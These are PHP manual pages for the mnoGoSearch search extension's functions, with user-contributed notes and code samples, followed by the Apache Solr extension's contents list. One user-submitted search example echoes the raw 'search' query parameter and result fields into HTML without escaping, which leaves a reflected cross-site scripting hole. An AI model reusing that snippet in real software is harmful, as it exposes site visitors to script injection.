A link to Agent, received after call to udm_alloc_agent().

Return Values

udm_error() returns mnoGoSearch error message, empty string if no error.

User Contributed Notes

There are no user contributed notes for this page.


Perform search

  • « udm_error
  • udm_free_agent »
  • PHP Manual
  • mnoGoSearch Functions
  • Perform search

udm_find

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_find — Perform search

Description

resource udm_find ( resource $agent , string $query )

Performs a search.

The search itself. The first argument - session, the next one - query itself. To find something just type words you want to find and press SUBMIT button. For example, "mysql odbc". You should not use quotes " in query, they are written here only to divide a query from other text. mnoGoSearch will find all documents that contain word "mysql" and/or word "odbc". Best documents having bigger weights will be displayed first. If you use search mode ALL, search will return documents that contain both (or more) words you entered. In case you use mode ANY, the search will return list of documents that contain any of the words you entered. If you want more advanced results you may use query language. You should select "bool" match mode in the search from.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

query

mnoGoSearch understands the following boolean operators:

& - logical AND. For example, "mysql & odbc". mnoGoSearch will find any URLs that contain both "mysql" and "odbc".

| - logical OR. For example "mysql|odbc". mnoGoSearch will find any URLs, that contain word "mysql" or word "odbc".

~ - logical NOT. For example "mysql & ~odbc". mnoGoSearch will find URLs that contain word "mysql" and do not contain word "odbc" at the same time. Note that ~ just excludes given word from results. Query "~odbc" will find nothing!

() - group command to compose more complex queries. For example "(mysql | msql) & ~postgres". Query language is simple and powerful at the same time. Just consider query as usual boolean expression.

Return Values

Returns a result link identifier on success or FALSE on failure.

User Contributed Notes

sm_dev_mnogo at u5 dot com 20-Nov-2003 12:02
For me (PHP 4.3.3, Mnogo 3.2.15 on FreeBSD) Mnogo doesn't work as described - but very well if done as in the PHP-template distributed by MnogoSearch

I had huge problems getting Udm_Find(... to return anything at all.

All the other calls worked, like udm_get_doc_count(...  but _find seemed to insist on returning nothing, no matter what I tried.

However, I had actually a working installation of mnogo, using the PHP template, so it was just to find the difference in the, BTW impressive, work by Sergey 'gluke' Kartashoff.

The result was surprising, see below. The parameter UDM_PARAM_QUERY is not mentioned in the manual

<?php

  $q="help";
  // This is the real query. Note that Udm_find seems to
  // ignore it, despite the
  // description in the manual

  $udm_agent
    =Udm_Alloc_Agent('pgsql://me:secret@/mnogo_db/?dbmode=multi');
  // This is actually also contrary to the manual, but it
  // works. Also in the PHP-template it said
/*
if (Udm_Api_Version() >= 30204) {
    $dbaddr='mysql://mnogo:mnogo@/mnogo/?dbmode=single';
} else {
    $dbaddr='mysql://mnogo:mnogo@/mnogo/';
    $dbmode='single';
}
*/
// which contradicts the manual for never versions

  $iDoItAsInTheManual = true;  //Set to false and it works

  if ($iDoItAsInTheManual)
    {
    $res=Udm_Find($udm_agent, $q);
    }
  else
    // This works:
    {
    Udm_Set_Agent_Param($udm_agent,UDM_PARAM_QUERY,$q);
    $res=Udm_Find($udm_agent,"anything here, makes no difference!!");
    }

  $url = udm_get_res_field(
                                $res,         //resource res,
                                0,                 // int row,
                                UDM_FIELD_URL     // int field
                                );
  echo $url;

  // Fails if $iDoItAsInTheManual==true, otherwise it works fine

?>

I don't know where something has gone wrong but I hope this may help someone save a little time.
matt at nowhere dot dot 23-Dec-2002 07:50
Here is a small snipet of code that will perform a search on mnogosearch and (in not so pretty a way) display the results.  Note that it appears that UDM_PARAM_FIRST_DOC starts at 1, but perhaps should be 0.
<?php
$searchText = trim($_GET['search']);
$mnogo = udm_alloc_agent ('mysql://me:secret@localhost/mnogosearch/');
$mResult = udm_find($mnogo,$searchText);
$totalMatches = udm_get_res_param ($mResult,UDM_PARAM_FOUND);
$pageSize = udm_get_res_param ($mResult,UDM_PARAM_NUM_ROWS);
$firstRow = udm_get_res_param ($mResult,UDM_PARAM_FIRST_DOC);
$lastRow = udm_get_res_param ($mResult,UDM_PARAM_LAST_DOC);
echo "Your search for <b>$searchText</b> resulted in <b>$totalMatches</b> matches";
echo "The result set (pagesize) is <b>$pageSize</b>\n";
echo "The first doc is row <b>$firstRow</b> and the last doc is <b>$lastRow</b>\n";
$row=0;
for ($i=$firstRow-1;$i<$lastRow;$i++) {
    $row++;
    echo "Match $row:";
    echo 'Url: ';
    $url = udm_get_res_field ($mResult,$i,UDM_FIELD_URL);
    echo "<a href=\"$url\">$url</a>";
    echo "\nTitle: <b>";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_TITLE);
    echo "</b>\nMeta Desc:";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_DESC);
    echo "\nPage Text: <b>\n";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_TEXT);
    echo "</b>\n<hr>\n";
}
udm_free_res($mResult);
udm_free_agent($mnogo);
?>


Free mnoGoSearch session

  • « udm_find
  • udm_free_ispell_data »
  • PHP Manual
  • mnoGoSearch Functions
  • Free mnoGoSearch session

udm_free_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_agent — Free mnoGoSearch session

Description

int udm_free_agent ( resource $agent )

Freeing up memory allocated for agent session.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Free memory allocated for ispell data

  • « udm_free_agent
  • udm_free_res »
  • PHP Manual
  • mnoGoSearch Functions
  • Free memory allocated for ispell data

udm_free_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_ispell_data — Free memory allocated for ispell data

Description

bool udm_free_ispell_data ( int $agent )

Frees the memory allocated for ispell data.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

udm_free_ispell_data() always returns TRUE.

Notes

Note:

This function is supported beginning from version 3.1.12 of mnoGoSearch and it does not do anything in previous versions.

User Contributed Notes

indeyets at gmail dot com 27-Jul-2005 09:40
in mnogosearch 3.2.33 (and earlier 3.2.x versions) this function should not be used, as udm_free_agent() implicitly frees this memory too.

as a result, you will have "double free" and crash of php/apache instance


Free mnoGoSearch result

  • « udm_free_ispell_data
  • udm_get_doc_count »
  • PHP Manual
  • mnoGoSearch Functions
  • Free mnoGoSearch result

udm_free_res

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_res — Free mnoGoSearch result

Description

bool udm_free_res ( resource $res )

Freeing up memory allocated for results.

Parameters

res

A link to a result identifier, received after call to udm_find().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get total number of documents in database

  • « udm_free_res
  • udm_get_res_field »
  • PHP Manual
  • mnoGoSearch Functions
  • Get total number of documents in database

udm_get_doc_count

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_doc_count — Get total number of documents in database

Description

int udm_get_doc_count ( resource $agent )

udm_get_doc_count() returns the number of documents in the database.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns the number of documents.

Notes

Note:

This function is supported only in mnoGoSearch 3.1.11 or later.

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result field

  • « udm_get_doc_count
  • udm_get_res_param »
  • PHP Manual
  • mnoGoSearch Functions
  • Fetch a result field

udm_get_res_field

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_res_field — Fetch a result field

Description

string udm_get_res_field ( resource $res , int $row , int $field )

Fetch a mnoGoSearch result field.

Parameters

res

res - a link to result identifier, received after call to udm_find().

row

row - the number of the link on the current page. May have values from 0 to UDM_PARAM_NUM_ROWS-1.

field

field - field identifier, may have the following values:

  • UDM_FIELD_URL - document URL field
  • UDM_FIELD_CONTENT - document Content-type field (for example, text/html).
  • UDM_FIELD_CATEGORY - document category field. Use udm_cat_path() to get full path to current category from the categories tree root. (This parameter is available only in PHP 4.0.6 or later).
  • UDM_FIELD_TITLE - document title field.
  • UDM_FIELD_KEYWORDS - document keywords field (from META KEYWORDS tag).
  • UDM_FIELD_DESC - document description field (from META DESCRIPTION tag).
  • UDM_FIELD_TEXT - document body text (the first couple of lines to give an idea of what the document is about).
  • UDM_FIELD_SIZE - document size.
  • UDM_FIELD_URLID - unique URL ID of the link.
  • UDM_FIELD_RATING - page rating (as calculated by mnoGoSearch).
  • UDM_FIELD_MODIFIED - last-modified field in unixtime format.
  • UDM_FIELD_ORDER - the number of the current document in set of found documents.
  • UDM_FIELD_CRC - document CRC.

Return Values

udm_get_res_field() returns result field value on success, FALSE on error.

User Contributed Notes

kosh dot linux at gmail dot com 24-Apr-2009 08:07
Use the function udm_get_res_field_ex() to fetch "non-standard" sections.

Example:

<?php
$tags = udm_get_res_field_ex($agent, $row, "meta.mytag");
?>
ctg-php at graysmark dot net 06-Apr-2004 09:01
It seems the description length is now determined by UDM_MAXDESCSIZE in udm_common.h instead of UDM_MAXTEXTSIZE
davidbullock at tech-center dot com 09-Sep-2001 08:07
To further improve the "description" field quality, there are two additional techniques you can use.

First, you can define this value if you know it, by setting a description meta tag in the head section.

Second, mnogosearch has an <index></noindex> tag pair that appears to make the enclosed content completely invisible to the search engine.  I've used this on the sites I maintain to 'vanish' the navigational elements, field names, and other non-content type HTML and page window dressing so that only the important content is indexed and reported on.

This last technique as an added (and more important benefit) of helping to eliminate a lot of false matches in searches.
davidbullock at tech-center dot com 09-Sep-2001 08:01
The returned page description is only 100 characters long.

To store more information, you can change the appropriate database field length to 255 characters (field "description" in the table "url"), and change the following line in udm_common.h.

#define UDM_MAXTEXTSIZE 255


Get mnoGoSearch result parameters

  • « udm_get_res_field
  • udm_hash32 »
  • PHP Manual
  • mnoGoSearch Functions
  • Get mnoGoSearch result parameters

udm_get_res_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_res_param — Get mnoGoSearch result parameters

Description

string udm_get_res_param ( resource $res , int $param )

Gets the mnoGoSearch result parameters.

Parameters

res

res - a link to result identifier, received after call to udm_find().

param

param - parameter identifier, may have the following values:

  • UDM_PARAM_NUM_ROWS - number of received found links on the current page. It is equal to UDM_PARAM_PAGE_SIZE for all search pages, on the last page - the rest of links.
  • UDM_PARAM_FOUND - total number of results matching the query.
  • UDM_PARAM_WORDINFO - information on the words found. E.g. search for "a good book" will return "a: stopword, good:5637, book: 120"
  • UDM_PARAM_SEARCHTIME - search time in seconds.
  • UDM_PARAM_FIRST_DOC - the number of the first document displayed on current page.
  • UDM_PARAM_LAST_DOC - the number of the last document displayed on current page.

Return Values

udm_get_res_param() returns result parameter value on success, FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Return Hash32 checksum of gived string

  • « udm_get_res_param
  • udm_load_ispell_data »
  • PHP Manual
  • mnoGoSearch Functions
  • Return Hash32 checksum of gived string

udm_hash32

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_hash32 — Return Hash32 checksum of gived string

Description

int udm_hash32 ( resource $agent , string $str )

udm_hash32() will take a string str and return a quite unique 32-bit hash number from it.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

str

The input string.

Return Values

Returns a 32-bit hash number.

See Also

  • udm_alloc_agent() - Allocate mnoGoSearch session

User Contributed Notes

There are no user contributed notes for this page.


Load ispell data

  • « udm_hash32
  • udm_set_agent_param »
  • PHP Manual
  • mnoGoSearch Functions
  • Load ispell data

udm_load_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_load_ispell_data — Load ispell data

Description

bool udm_load_ispell_data ( resource $agent , int $var , string $val1 , string $val2 , int $flag )

udm_load_ispell_data() loads ispell data.

After using this function to free memory allocated for ispell data, please use udm_free_ispell_data(), even if you use UDM_ISPELL_TYPE_SERVER mode.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

Indicates the source for ispell data. May have the following values:

  • UDM_ISPELL_TYPE_DB - indicates that ispell data should be loaded from SQL. In this case, parameters val1 and val2 are ignored and should be left blank. flag should be equal to 1.

    Note:

    flag indicates that after loading ispell data from defined source it should be sorted (it is necessary for correct functioning of ispell). In case of loading ispell data from files there may be several calls to udm_load_ispell_data(), and there is no sense to sort data after every call, but only after the last one. Since in db mode all the data is loaded by one call, this parameter should have the value 1. In this mode in case of error, e.g. if ispell tables are absent, the function will return FALSE and code and error message will be accessible through udm_error() and udm_errno().

  • UDM_ISPELL_TYPE_AFFIX - indicates that ispell data should be loaded from file and initiates loading affixes file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    Example #1 udm_load_ispell_data() example

    <?php
    if ((! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
        exit;
    }
    ?>

    Note:

    flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SPELL - indicates that ispell data should be loaded from file and initiates loading of ispell dictionary file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    <?php
    if ((! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
     exit;
     }
    ?>

    Note:

    flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SERVER - enables spell server support. val1 parameter indicates address of the host running spell server. val2 ` is not used yet, but in future releases it is going to indicate number of port used by spell server. flag parameter in this case is not needed since ispell data is stored on spellserver already sorted.

    Spelld server reads spell-data from a separate configuration file (/usr/local/mnogosearch/etc/spelld.conf by default), sorts it and stores in memory. With clients server communicates in two ways: to indexer all the data is transferred (so that indexer starts faster), from search.cgi server receives word to normalize and then passes over to client (search.cgi) list of normalized word forms. This allows fastest, compared to db and text modes processing of search queries (by omitting loading and sorting all the spell data).

    udm_load_ispell_data() function in UDM_ISPELL_TYPE_SERVER mode does not actually load ispell data, but only defines server address. In fact, server is automatically used by udm_find() function when performing search. In case of errors, e.g. if spellserver is not running or invalid host indicated, there are no messages returned and ispell conversion does not work.

    Note:

    This function is available in mnoGoSearch 3.1.12 or later.

    Example:
    <?php
    if (!udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SERVER, '', '', 1)) {
        echo     "Error loading ispell data from server<br />\n";
        exit;
    }
    ?>

The fastest mode is UDM_ISPELL_TYPE_SERVER. UDM_ISPELL_TYPE_TEXT is slower and UDM_ISPELL_TYPE_DB is the slowest. The above pattern is TRUE for mnoGoSearch 3.1.10 - 3.1.11. It is planned to speed up DB mode in future versions and it is going to be faster than TEXT mode.

val1

val2

flag

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #2 udm_load_ispell_data() example

<?php
if (! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_DB, '', '', 1)) {
  printf("Error #%d: '%s'\n", udm_errno($udm), udm_error($udm));
  exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set mnoGoSearch agent session parameters

  • « udm_load_ispell_data
  • Solr »
  • PHP Manual
  • mnoGoSearch Functions
  • Set mnoGoSearch agent session parameters

udm_set_agent_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_set_agent_param — Set mnoGoSearch agent session parameters

Description

bool udm_set_agent_param ( resource $agent , int $var , string $val )

Defines mnoGoSearch session parameters.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

The following parameters and their values are available:

  • UDM_PARAM_PAGE_NUM - used to choose search results page number (results are returned by pages beginning from 0, with UDM_PARAM_PAGE_SIZE results per page).
  • UDM_PARAM_PAGE_SIZE - number of search results displayed on one page.
  • UDM_PARAM_SEARCH_MODE - search mode. The following values available: UDM_MODE_ALL - search for all words; UDM_MODE_ANY - search for any word; UDM_MODE_PHRASE - phrase search; UDM_MODE_BOOL - boolean search. See udm_find() for details on boolean search.
  • UDM_PARAM_CACHE_MODE - turns on or off search result cache mode. When enabled, the search engine will store search results to disk. In case a similar search is performed later, the engine will take results from the cache for faster performance. Available values: UDM_CACHE_ENABLED, UDM_CACHE_DISABLED.
  • UDM_PARAM_TRACK_MODE - turns on or off trackquery mode. Since version 3.1.2 mnoGoSearch has a query tracking support. Note that tracking is implemented in SQL version only and not available in built-in database. To use tracking, you have to create tables for tracking support. For MySQL, use create/mysql/track.txt. When doing a search, front-end uses those tables to store query words, a number of found documents and current Unix timestamp in seconds. Available values: UDM_TRACK_ENABLED, UDM_TRACK_DISABLED.
  • UDM_PARAM_PHRASE_MODE - defines whether index database using phrases ("phrase" parameter in indexer.conf). Possible values: UDM_PHRASE_ENABLED and UDM_PHRASE_DISABLED. Please note, that if phrase search is enabled (UDM_PHRASE_ENABLED), it is still possible to do search in any mode (ANY, ALL, BOOL or PHRASE). In 3.1.10 version of mnoGoSearch phrase search is supported only in sql and built-in database modes, while beginning with 3.1.11 phrases are supported in cachemode as well. Examples of phrase search: "Arizona desert" - This query returns all indexed documents that contain "Arizona desert" as a phrase. Notice that you need to put double quotes around the phrase
  • UDM_PARAM_CHARSET - defines local charset. Available values: set of charsets supported by mnoGoSearch, e.g. koi8-r, cp1251, ...
  • UDM_PARAM_STOPFILE - Defines name and path to stopwords file. (There is a small difference with mnoGoSearch - while in mnoGoSearch if relative path or no path entered, it looks for this file in relation to UDM_CONF_DIR, the module looks for the file in relation to current path, i.e. to the path where the PHP script is executed.)
  • UDM_PARAM_STOPTABLE - Load stop words from the given SQL table. You may use several StopwordTable commands. This command has no effect when compiled without SQL database support.
  • UDM_PARAM_WEIGHT_FACTOR - represents weight factors for specific document parts. Currently body, title, keywords, description, url are supported. To activate this feature please use degrees of 2 in *Weight commands of the indexer.conf. Let's imagine that we have these weights:
          URLWeight     1
      BodyWeight    2
      TitleWeight   4
      KeywordWeight 8
      DescWeight    16
    As far as indexer uses bit OR operation for word weights when some word presents several time in the same document, it is possible at search time to detect word appearance in different document parts. Word which appears only in the body will have 00000010 aggregate weight (in binary notation). Word used in all document parts will have 00011111 aggregate weight. This parameter's value is a string of hex digits ABCDE. Each digit is a factor for corresponding bit in word weight. For the given above weights configuration:
           E is a factor for weight 1  (URL Weight bit)
       D is a factor for weight 2  (BodyWeight bit)
       C is a factor for weight 4  (TitleWeight bit)
       B is a factor for weight 8  (KeywordWeight bit)
       A is a factor for weight 16 (DescWeight bit)
    Examples: UDM_PARAM_WEIGHT_FACTOR=00001 will search through URLs only. UDM_PARAM_WEIGHT_FACTOR=00100 will search through Titles only. UDM_PARAM_WEIGHT_FACTOR=11100 will search through Title,Keywords,Description but not through URL and Body. UDM_PARAM_WEIGHT_FACTOR=F9421 will search through:
            Description with factor 15  (F hex)
        Keywords with factor 9
        Title with factor  4
        Body with factor 2
        URL with factor 1
    If UDM_PARAM_WEIGHT_FACTOR variable is omitted, original weight value is taken to sort results. For a given above weight configuration it means that document description has a most big weight 16.
  • UDM_PARAM_WORD_MATCH - word match. You may use this parameter to choose word match type. This feature works only in "single" and "multi" modes using SQL based and built-in database. It does not work in cachemode and other modes since they use word CRC and do not support substring search. Available values: UDM_MATCH_BEGIN - word beginning match; UDM_MATCH_END - word ending match; UDM_MATCH_WORD - whole word match; UDM_MATCH_SUBSTR - word substring match.
  • UDM_PARAM_MIN_WORD_LEN - defines minimal word length. Any word shorter this limit is considered to be a stopword. Please note that this parameter value is inclusive, i.e. if UDM_PARAM_MIN_WORD_LEN=3, a word 3 characters long will not be considered a stopword, while a word 2 characters long will be. Default value is 1.
  • UDM_PARAM_ISPELL_PREFIXES - Possible values: UDM_PREFIXES_ENABLED and UDM_PREFIXES_DISABLED, that respectively enable or disable using prefixes. E.g. if a word "tested" is in search query, also words like "test", "testing", etc. Only suffixes are supported by default. Prefixes usually change word meanings, for example if somebody is searching for the word "tested" one hardly wants "untested" to be found. Prefixes support may also be found useful for site's spelling checking purposes. In order to enable ispell, you have to load ispell data with udm_load_ispell_data().
  • UDM_PARAM_CROSS_WORDS - enables or disables crosswords support. Possible values: UDM_CROSS_WORDS_ENABLED and UDM_CROSS_WORDS_DISABLED. The crosswords feature allows to assign words between <a href="xxx"> and </a> also to a document this link leads to. It works in SQL database mode and is not supported in built-in database and Cachemode.
  • UDM_PARAM_VARDIR - specifies a custom path to directory where indexer stores data when using built-in database and in cache mode. By default /var directory of mnoGoSearch installation is used. Can have only string values.

val

Changelog

Version | Description
4.1.0 | UDM_PARAM_VARDIR was added.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Crosswords are supported only in mnoGoSearch 3.1.11 or later.

User Contributed Notes

ywarnier at beeznest dot org 13-May-2006 01:37
Other possible session parameters not documented but found in the default php frontend on http://www.mnogosearch.org:
UDM_PARAM_BROWSER_CHARSET - ?
UDM_PARAM_HLBEG - defines the tag to use before an highlighted search term
UDM_PARAM_HLBEG  - defines the tag to use after an highlighted search term
UDM_PARAM_QSTRING - defines the search term (or query string)
UDM_PARAM_REMOTE_ADDR - ?
UDM_PARAM_QUERY - ?
UDM_PARAM_STORED - ?
UDM_PARAM_GROUPBYSITE - toggles the "group by site" feature (UDM_ENABLED or UDM_DISABLED)
UDM_PARAM_SITEID - ?
UDM_PARAM_DETECT_CLONES - enable the "detect clone" feature (UDM_ENABLED or UDM_DISABLED)
adu at php dot net 21-Dec-2005 05:42
I found an undocumented function: udm_set_agent_param_ex
For example, if you want to sort results by date, do this:
udm_set_agent_param_ex($udm_agent, 's', 'DR');
See http://www.mnogosearch.org/doc/msearch-doingsearch.html for details
GneralTsao 18-Jul-2005 08:27
One useful parameter not documented above is UDM_PARAM_SYNONYM.  If you understand how this API works in general, you should be able to figure it out, but here goes anyway:

<?php
/* Make sure that PHP is able to find the file.  Unlike mnogosearch's indexer and search.cgi, it doesn't know the directory of the installation. */
$synFile="/usr/local/mnogosearch/etc/synonym/english.syn";
udm_set_agent_param($agent, UDM_PARAM_SYNONYM, $synFile);
?>

Piece of cake.

For more about mnogosearch's handling of synonyms see http://www.mnogosearch.org/doc/msearch-fuzzy.html#synonyms


Apache Solr

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Solr Functions
    • solr_get_version — Returns the current version of the Apache Solr extension
  • Examples
  • SolrUtils — The SolrUtils class
    • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
    • SolrUtils::escapeQueryChars — Escapes a lucene query string
    • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
    • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string
  • SolrInputDocument — The SolrInputDocument class
    • SolrInputDocument::addField — Adds a field to the document
    • SolrInputDocument::clear — Resets the input document
    • SolrInputDocument::__clone — Creates a copy of a SolrDocument
    • SolrInputDocument::__construct — Constructor
    • SolrInputDocument::deleteField — Removes a field from the document
    • SolrInputDocument::__destruct — Destructor
    • SolrInputDocument::fieldExists — Checks if a field exists
    • SolrInputDocument::getBoost — Retrieves the current boost value for the document
    • SolrInputDocument::getField — Retrieves a field by name
    • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
    • SolrInputDocument::getFieldCount — Returns the number of fields in the document
    • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
    • SolrInputDocument::merge — Merges one input document into another
    • SolrInputDocument::reset — This is an alias of SolrInputDocument::clear
    • SolrInputDocument::setBoost — Sets the boost value for this document
    • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
    • SolrInputDocument::sort — Sorts the fields within the document
    • SolrInputDocument::toArray — Returns an array representation of the input document
  • SolrDocument — The SolrDocument class
    • SolrDocument::addField — Adds a field to the document
    • SolrDocument::clear — Drops all the fields in the document
    • SolrDocument::__clone — Creates a copy of a SolrDocument object
    • SolrDocument::__construct — Constructor
    • SolrDocument::current — Retrieves the current field
    • SolrDocument::deleteField — Removes a field from the document
    • SolrDocument::__destruct — Destructor
    • SolrDocument::fieldExists — Checks if a field exists in the document
    • SolrDocument::__get — Access the field as a property
    • SolrDocument::getField — Retrieves a field by name
    • SolrDocument::getFieldCount — Returns the number of fields in this document
    • SolrDocument::getFieldNames — Returns an array of fields names in the document
    • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
    • SolrDocument::__isset — Checks if a field exists
    • SolrDocument::key — Retrieves the current key
    • SolrDocument::merge — Merges source to the current SolrDocument
    • SolrDocument::next — Moves the internal pointer to the next field
    • SolrDocument::offsetExists — Checks if a particular field exists
    • SolrDocument::offsetGet — Retrieves a field
    • SolrDocument::offsetSet — Adds a field to the document
    • SolrDocument::offsetUnset — Removes a field
    • SolrDocument::reset — This is an alias to SolrDocument::clear()
    • SolrDocument::rewind — Resets the internal pointer to the beginning
    • SolrDocument::serialize — Used for custom serialization
    • SolrDocument::__set — Adds another field to the document
    • SolrDocument::sort — Sorts the fields in the document
    • SolrDocument::toArray — Returns an array representation of the document
    • SolrDocument::unserialize — Custom serialization of SolrDocument objects
    • SolrDocument::__unset — Removes a field from the document
    • SolrDocument::valid — Checks if the current position internally is still valid
  • SolrDocumentField — The SolrDocumentField class
    • SolrDocumentField::__construct — Constructor
    • SolrDocumentField::__destruct — Destructor
  • SolrObject — The SolrObject class
    • SolrObject::__construct — Creates Solr object
    • SolrObject::__destruct — Destructor
    • SolrObject::getPropertyNames — Returns an array of all the names of the properties
    • SolrObject::offsetExists — Checks if the property exists
    • SolrObject::offsetGet — Used to retrieve a property
    • SolrObject::offsetSet — Sets the value for a property
    • SolrObject::offsetUnset — Unsets the value for the property
  • SolrClient — The SolrClient class
    • SolrClient::addDocument — Adds a document to the index
    • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
    • SolrClient::commit — Finalizes all add/deletes made to the index
    • SolrClient::__construct — Constructor for the SolrClient object
    • SolrClient::deleteById — Delete by Id
    • SolrClient::deleteByIds — Deletes by Ids
    • SolrClient::deleteByQueries — Removes all documents matching any of the queries
    • SolrClient::deleteByQuery — Deletes all documents matching the given query
    • SolrClient::__destruct — Destructor for SolrClient
    • SolrClient::getDebug — Returns the debug data for the last connection attempt
    • SolrClient::getOptions — Returns the client options set internally
    • SolrClient::optimize — Defragments the index
    • SolrClient::ping — Checks if Solr server is still up
    • SolrClient::query — Sends a query to the server
    • SolrClient::request — Sends a raw update request
    • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
    • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
    • SolrClient::setServlet — Changes the specified servlet type to a new value
    • SolrClient::threads — Checks the threads status
  • SolrResponse — The SolrResponse class
    • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
    • SolrResponse::getHttpStatus — Returns the HTTP status of the response
    • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
    • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
    • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
    • SolrResponse::getRawResponse — Returns the raw response from the server
    • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
    • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
    • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
    • SolrResponse::setParseMode — Sets the parse mode
    • SolrResponse::success — Was the request a success
  • SolrQueryResponse — The SolrQueryResponse class
    • SolrQueryResponse::__construct — Constructor
    • SolrQueryResponse::__destruct — Destructor
  • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrUpdateResponse::__construct — Constructor
    • SolrUpdateResponse::__destruct — Destructor
  • SolrPingResponse — The SolrPingResponse class
    • SolrPingResponse::__construct — Constructor
    • SolrPingResponse::__destruct — Destructor
    • SolrPingResponse::getResponse — Returns the response from the server
  • SolrGenericResponse — The SolrGenericResponse class
    • SolrGenericResponse::__construct — Constructor
    • SolrGenericResponse::__destruct — Destructor
  • SolrParams — The SolrParams class
    • SolrParams::add — This is an alias for SolrParams::addParam
    • SolrParams::addParam — Adds a parameter to the object
    • SolrParams::get — This is an alias for SolrParams::getParam
    • SolrParams::getParam — Returns a parameter value
    • SolrParams::getParams — Returns an array of non URL-encoded parameters
    • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
    • SolrParams::serialize — Used for custom serialization
    • SolrParams::set — An alias of SolrParams::setParam
    • SolrParams::setParam — Sets the parameter to the specified value
    • SolrParams::toString — Returns all the name-value pair parameters in the object
    • SolrParams::unserialize — Used for custom serialization
  • SolrModifiableParams — The SolrModifiableParams class
    • SolrModifiableParams::__construct — Constructor
